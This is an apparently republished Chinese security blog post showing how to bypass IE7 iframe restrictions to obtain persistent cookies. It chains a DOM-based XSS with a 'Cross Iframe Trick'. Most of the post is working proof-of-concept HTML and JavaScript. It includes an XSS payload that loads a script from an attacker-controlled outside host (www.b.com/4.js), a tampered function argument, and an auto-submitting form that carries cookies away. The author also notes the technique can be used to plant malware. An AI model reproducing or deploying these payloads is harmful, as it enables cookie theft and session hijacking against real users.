突破IE安全局限取得iframe子框架內(nèi)的本地cookie
發(fā)表時間:2023-05-31 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]作者:aullik5 今天這篇主要是要講以下這么幾件事情: 1. iframe的限制 2. 突破iframe獲取本地cookie的思路 3. 利用Cross Iframe Trick突破if...
作者:aullik5
今天這篇主要是要講以下這么幾件事情:
1. iframe的限制
2. 突破iframe獲取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的測試環(huán)境是: IE 7 (7.0.5730.13)
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試, 是真實有效的結(jié)果。
Iframe的限制:
因為iframe這個玩意比較特殊, 所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js, 只能讀取一些對象;子窗口也不能使用父窗口的js, 也只能讀部分對象, 更多的比如document啥的都限制了。
關(guān)系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
對于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如, 在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網(wǎng)站去.
但是如果想執(zhí)行js, 或者是讀取document對象, 則會被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會被拒絕。
對于iframe, Firefox3 居然是不限制本地cookie發(fā)送的!也就是說, 在Firefox環(huán)境里, 使用iframe包含一個遠程頁面, 是會將保存在本地的cookie發(fā)送出去的, 這使得CSRF會非常之方便。
但是IE不同, 對于IE環(huán)境中, img和iframe標簽都只能發(fā)送session cookie, 無法發(fā)送本地cookie, 所以很多時候CSRF會失敗, 這也會給XSS帶來很大的麻煩, 比如會使得XSRF更困難一些。
鑒于Firefox一點挑戰(zhàn)都沒有, 所以今天主要研究的對象是IE。
在IE環(huán)境下, 程序員們一般都是使用P3P協(xié)議來獲取跨域cookie的, 但是P3P也要求我們改寫HTTP頭, 更麻煩, 在這里, 我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁面里的iframe都是發(fā)送的session cookie, 所以子框架頁面里本身是只有一個session cookie的, 我們無法通過在子框架里執(zhí)行js的方法來獲取本地cookie, 無中生有的事情是干不出來的。
了解這一原理后, 思路就很明確了:想辦法新起一個不受限制的窗口, 從而獲取本地cookie。
具體來說, 有這么兩個辦法:
1、 使用window.open打開一個新窗口
2、 回到父窗口, 讓其打開一個新窗口
在子框架中, 使用window.open()確實可以發(fā)送本地cookie, 但是問題是瀏覽器一般會限制頁面彈窗口, 會被攔截, 所以這個方法比較囧~~, 不是個好辦法。
而第二個辦法, 回到父窗口去打開新窗口, 就涉及到一個突破iframe執(zhí)行腳本的問題, 而這個問題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了, 所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻就在于他可以繞過前面提到的iframe的限制, 在父域或者子框架里獲取對象, 執(zhí)行腳本。
當一個頁面很難突破時, 如果他包含了一個存在弱點的iframe頁面, 則可能會帶來災(zāi)難性的結(jié)果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢的。
環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面, 它包含了一個存在弱點的iframe, 用戶只會去瀏覽這個頁面
http://www.baidu.com/3.html 是我們已經(jīng)控制的頁面, 他作為一個iframe被1.html所包含。 在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個存在XSS漏洞的頁面, 一般情況下用戶不會去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個惡意腳本, 將被XSS攻擊遠程載入4.html中。
由于用戶只會瀏覽www.a.com/1.html, 所以我們要通過腳本攻擊, 從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= "+fvck);
document.write("<input id=\"bbb\" value=\'test1"+fvck+"\' >");
}
</script>
<body >
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<body >
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie="+document.cookie);
// iframe proxy: 創(chuàng)建一個動態(tài)iframe, 并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy, 利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<script>
// 一個基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4"+window.location.href+"\' >");
//window.open("http://www.baidu.com/4.html"); 會帶上cookie
</script>
<body >
This is 4.html!
<!-- 把這里的注釋去掉可以用來測試, 這樣發(fā)送的還是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img class='lazy' data-original="/article/UploadFiles/200903/20090320092752356.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img class='lazy' data-original=\"/article/UploadFiles/200903/20090320092752356.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個窗口, 從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單, 他的作用是查看當前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
alert("2.html cookie="+document.cookie);
</script>
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠程加載www.b.com/4.js
4.js動態(tài)調(diào)用 www.a.com/1.html 里的 tt1() 函數(shù), 并篡改參數(shù), 寫入一個form, 利用js動態(tài)提交該表單, 這時候提交的表單, 就自動帶上了本地cookie了
整個過程運行結(jié)果如下:
首先訪問 www.a.com/1.html
[img align=undefined]/article/UploadFiles/200903/20090320092753401.jpg[/img]
可以看到這個時候在www.baidu.com/3.html 中彈出的是session cookie, 可以對比下我們最后結(jié)果里彈出的本地cookie接下來, 3.html將構(gòu)造iframe proxy
可以看到, 由于www.a.com/4.html里的XSS漏洞被利用, 所以遠程js被加載了
遠程js繼續(xù)調(diào)用top1.tt1(); 這個函數(shù), 同時篡改它的參數(shù), 參數(shù)如上圖顯示。 接下來將把這個參數(shù)注入到tt1()函數(shù)中, 由于tt1()函數(shù)中存在一個 document.write,所以它將改寫頁面, 并且構(gòu)造一個form表單, 重新提交到www.baidu.com/2.html
由于在form表單中, 利用了img標簽的onload事件, 使得img一加載就提交form, 所以很快就自動獲得了cookie。
可以看到, 此時獲取的, 就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是, 在4.html中, 即使把 top.tt1()改成了 document.write(), 也無法獲取本地cookie, 想來應(yīng)該還是因為iframe限制的問題。
以上, 就是利用Cross Iframe Trick的技巧來突破iframe限制的方法, 其意義在于跨頁面攻擊、跨域攻擊、突破iframe的限制, 等等, 大大豐富了腳本攻擊的方法。
不知道我這篇是不是又在白寫, 如果有人能把我給出的POC好好調(diào)一遍, 會發(fā)現(xiàn)這里面還是很有趣的。
最后, 再講講, 有的人可能會提出疑問, 能構(gòu)造iframe proxy, 是否可以直接用來掛馬?
是的, 當然可以直接用來掛馬, 但是掛馬卻是更加復(fù)雜的一種攻擊, 要求有好的瀏覽器漏洞, 好的木馬, 能夠?qū)怪鲃臃烙膕hellcode, 同時, 根據(jù)需要獲取的數(shù)據(jù)不同, 有時候掛馬也并不能達到目的。 比如, 攻擊的目標是網(wǎng)站里的數(shù)據(jù), 如果網(wǎng)站有SSL保護, 有防鍵盤記錄一類的程序, 則會更加麻煩。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。